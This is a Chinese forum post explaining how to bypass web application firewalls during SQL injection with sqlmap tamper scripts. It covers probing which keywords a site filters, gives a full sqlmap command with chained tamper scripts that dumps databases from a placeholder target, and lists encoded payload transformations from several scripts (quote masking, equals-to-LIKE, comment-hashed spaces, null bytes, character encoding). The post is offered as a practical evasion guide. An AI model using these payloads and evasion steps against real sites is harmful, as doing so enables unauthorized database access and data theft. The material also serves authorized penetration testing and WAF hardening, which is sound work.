admin 发表于 2018-9-7 10:45:54

sqlmap注入绕过WAF防火墙过滤

sqlmap中的tamper给我们带来了很多防过滤的脚本,非常实用,可能有的朋友还不知道怎样才能最有效的利用tamper脚本。

当然使用脚本之前需要确定的就是系统过滤了哪些关键字,比如单引号、空格、select、union、admin等等。

所以有的时候我们会发现,注入成功了但是dump不出数据,很可能是select被过滤了等等原因。如何判断使用哪个脚本

最简单的办法就是在url参数中手工带入关键词,判断是否被过滤。

如图:

直接加个单引号被过滤,说明注入时单引号是没法用的。

空格、等于号都没有过滤,成功报错。

select被过滤。

以此类推,当sqlmap注入出现问题时,比如不出数据,就要检查对应的关键词是否被过滤。

比如空格被过滤可以使用space2comment.py,过滤系统对大小写敏感可以使用randomcase.py等等。

下面对于sqlmap的tamper参数详细讲解。
使用方法
根据实际情况,可以同时使用多个脚本,使用-v参数可以看到payload的变化


sqlmap.py -u "http://www.target.com/test.php?id=12" --dbms mysql --tamper "space2commet,versionedmorekeywords.py"-v 3 --dbs

脚本名:apostrophemask.py
作用:用utf8代替引号

Example: ("1 AND '1'='1") '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

脚本名:equaltolike.py

Input: SELECT * FROM users WHERE id=1
Output: SELECT * FROM users WHERE id LIKE 1

案例一: http://wooyun.org/bugs/wooyun-2010-087296

案例二: http://wooyun.org/bugs/wooyun-2010-074790

案例三:http://wooyun.org/bugs/wooyun-2010-072489
脚本名:greatest.py

Example: ('1 AND A > B') '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

脚本名:space2hash.py

*   Input: 1 AND 9227=9227
*   Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

脚本名:appendnullbyte.py

xample: ('1 AND 1=1') '1 AND 1=1%00'

脚本名:charencode.py

*   Input: SELECT FIELD FROM%20TABLE
*   Output: %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

页: [1]
查看完整版本: sqlmap注入绕过WAF防火墙过滤